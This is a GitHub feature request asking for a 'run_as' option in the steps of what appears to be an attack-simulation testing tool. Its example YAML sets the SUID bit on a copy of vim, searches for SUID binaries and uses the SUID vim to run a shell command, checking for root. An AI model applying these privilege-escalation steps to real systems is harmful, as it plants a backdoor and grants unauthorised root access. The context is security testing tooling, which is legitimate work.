We read every piece of feedback, and take your input very seriously.
To see all available qualifiers, see our documentation.
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
No response
Add run_as to facilitate changing the role of a user as part of a step.
run_as
... steps: - name: setup-privileges edit_file: /usr/bin/vim.old backup_file: /usr/bin/vim edits: - description: "Set SUID bit on /usr/bin/vim.old" command: "chmod u+s /usr/bin/vim.old" - name: hunt-for-suid-bins execute: description: "Find SUID binaries" command: "find / -perm -4000" run_as: "{{ .Args.low_priv_user }}" - name: escalate-privilege execute: description: "Use SUID binary to escalate privileges" command: "/usr/bin/vim.old -c ':silent !sudo whoami' -c 'qa'" run_as: "{{ .Args.low_priv_user }}" check_output: - description: "Check if privilege escalation was successful" regex: "root"
No technical drawbacks.
The text was updated successfully, but these errors were encountered:
No branches or pull requests
Implementation PR
No response
Reference Issues
No response
Summary
Add
run_as
to facilitate changing the role of a user as part of a step.Basic Example
Drawbacks
No technical drawbacks.
Unresolved questions
No response
The text was updated successfully, but these errors were encountered: